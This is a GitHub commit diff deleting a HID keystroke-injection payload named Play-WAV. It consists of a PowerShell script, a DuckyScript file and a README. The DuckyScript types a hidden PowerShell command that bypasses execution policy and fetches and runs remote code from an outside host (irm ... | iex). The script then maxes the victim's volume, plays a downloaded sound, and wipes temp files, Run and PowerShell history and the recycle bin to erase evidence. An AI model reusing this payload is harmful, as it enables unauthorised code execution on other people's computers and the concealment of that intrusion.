Delete Payloads/Flip-Play-WAV directory
This commit is contained in:
I-Am-Jakoby
GitHub
parent
8c18a442d2
commit
6959943969
3 changed files with 0 additions and 223 deletions
|
|
@ -1,93 +0,0 @@
|
||||||
############################################################################################################################################################
|
|
||||||
# | ___ _ _ _ # ,d88b.d88b #
|
|
||||||
# Title : Play-WAV | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
|
||||||
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
|
||||||
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
|
||||||
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
|
||||||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
|
||||||
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
|
||||||
# Dependencies : Dropbox | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
|
||||||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
|
||||||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
|
||||||
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
|
||||||
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
|
||||||
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
|
||||||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
|
||||||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
|
||||||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
<#
|
|
||||||
.NOTES
|
|
||||||
This script requires you to have a DropBox account or another file hosting service
|
|
||||||
|
|
||||||
.DESCRIPTION
|
|
||||||
This program downloads a sound from your DropBox
|
|
||||||
Turns the volume to max level on victims PC
|
|
||||||
Pauses the script until a mouse movement is detected
|
|
||||||
Then plays the sound with nothing popping up catching your victim off guard
|
|
||||||
Finally a few lines of script are executed to empty TMP folder, clear Run and Powershell history
|
|
||||||
|
|
||||||
#>
|
|
||||||
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
# Download Sound (When using your own link "dl=0" needs to be changed to "dl=1")
|
|
||||||
# This is for if you want to host your own instance of this script
|
|
||||||
|
|
||||||
#$wav = ""
|
|
||||||
|
|
||||||
iwr $wav -O $env:TMP\e.wav
|
|
||||||
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
# This turns the volume up to max level
|
|
||||||
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
|
||||||
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
# This while loop will constantly check if the mouse has been moved
|
|
||||||
# if the mouse has not moved "SCROLLLOCK" will be pressed to prevent screen from turning off
|
|
||||||
# it will then sleep for the indicated number of seconds and check again
|
|
||||||
|
|
||||||
Add-Type -AssemblyName System.Windows.Forms
|
|
||||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
$pauseTime = 3
|
|
||||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
|
||||||
break
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
|
||||||
}
|
|
||||||
}
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
# Play Sound
|
|
||||||
$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation="$env:TMP\e.wav";$PlayWav.playsync()
|
|
||||||
|
|
||||||
############################################################################################################################################################
|
|
||||||
|
|
||||||
<#
|
|
||||||
|
|
||||||
.NOTES
|
|
||||||
This is to clean up behind you and remove any evidence to prove you were there
|
|
||||||
#>
|
|
||||||
|
|
||||||
# Delete contents of Temp folder
|
|
||||||
|
|
||||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
|
||||||
|
|
||||||
# Delete run box history
|
|
||||||
|
|
||||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
|
||||||
|
|
||||||
# Delete powershell history
|
|
||||||
|
|
||||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
|
||||||
|
|
||||||
# Deletes contents of recycle bin
|
|
||||||
|
|
||||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
|
||||||
|
|
||||||
|
|
@ -1,16 +0,0 @@
|
||||||
REM Title: Play-WAV
|
|
||||||
REM
|
|
||||||
REM Author: I am Jakoby
|
|
||||||
REM
|
|
||||||
REM Description: This payload is meant to play a WAV file hidden. See Play-WAV.ps1 for more details
|
|
||||||
REM
|
|
||||||
REM Target: Windows 10, 11
|
|
||||||
REM
|
|
||||||
REM Remeber to replace the link with your link for the intended file to download
|
|
||||||
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
|
||||||
REM
|
|
||||||
GUI r
|
|
||||||
DELAY 500
|
|
||||||
STRING powershell -w h -NoP -NonI -Ep Bypass $wav='';irm https://jakoby.lol/vus | iex
|
|
||||||
DELAY 500
|
|
||||||
ENTER
|
|
||||||
|
|
@ -1,114 +0,0 @@
|
||||||
|
|
||||||
|
|
||||||
<!-- TABLE OF CONTENTS -->
|
|
||||||
<details>
|
|
||||||
<summary>Table of Contents</summary>
|
|
||||||
<ol>
|
|
||||||
<li><a href="#Description">Description</a></li>
|
|
||||||
<li><a href="#getting-started">Getting Started</a></li>
|
|
||||||
<li><a href="#Contributing">Contributing</a></li>
|
|
||||||
<li><a href="#Version-History">Version History</a></li>
|
|
||||||
<li><a href="#Contact">Contact</a></li>
|
|
||||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
|
||||||
</ol>
|
|
||||||
</details>
|
|
||||||
|
|
||||||
# Play-WAV
|
|
||||||
|
|
||||||
A script used to download a WAV file and play it after a mouse movement is detected.
|
|
||||||
|
|
||||||
## Description
|
|
||||||
|
|
||||||
This program starts off by using an Invoke-WebRequest to download a WAV file.
|
|
||||||
The system volume is then turned up to the max level.
|
|
||||||
Then the script will be paused until a mouse movement is detected.
|
|
||||||
After a mouse movement is detected, the WAV file will be played.
|
|
||||||
|
|
||||||
## Getting Started
|
|
||||||
|
|
||||||
### Dependencies
|
|
||||||
|
|
||||||
* Windows 10,11
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
### Executing program
|
|
||||||
|
|
||||||
* Place the WAV URL in the $wav variable
|
|
||||||
* Plug in your device
|
|
||||||
* Invoke-WebRequest will be entered in the Run Box to download your WAV file
|
|
||||||
|
|
||||||
```
|
|
||||||
powershell -w h -NoP -NonI -Ep Bypass $wav='';irm https://jakoby.lol/vus | iex
|
|
||||||
```
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
## Contributing
|
|
||||||
|
|
||||||
All contributors names will be listed here
|
|
||||||
|
|
||||||
I am Jakoby
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
## Version History
|
|
||||||
|
|
||||||
* 0.1
|
|
||||||
* Initial Release
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
<!-- CONTACT -->
|
|
||||||
## Contact
|
|
||||||
|
|
||||||
<h2 align="center">📱 My Socials 📱</h2>
|
|
||||||
<div align=center>
|
|
||||||
<table>
|
|
||||||
<tr>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
|
||||||
</a>
|
|
||||||
<br>YouTube
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://twitter.com/I_Am_Jakoby">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
|
||||||
</a>
|
|
||||||
<br>Twitter
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
|
||||||
</a>
|
|
||||||
<br>Instagram
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://discord.gg/MYYER2ZcJF">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
|
||||||
</a>
|
|
||||||
<br>Discord
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
|
||||||
</a>
|
|
||||||
<br>TikTok
|
|
||||||
</td>
|
|
||||||
</tr>
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
<!-- ACKNOWLEDGMENTS -->
|
|
||||||
## Acknowledgments
|
|
||||||
|
|
||||||
* [Hak5](https://hak5.org/)
|
|
||||||
* [MG](https://github.com/OMG-MG)
|
|
||||||
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
Loading…
Reference in a new issue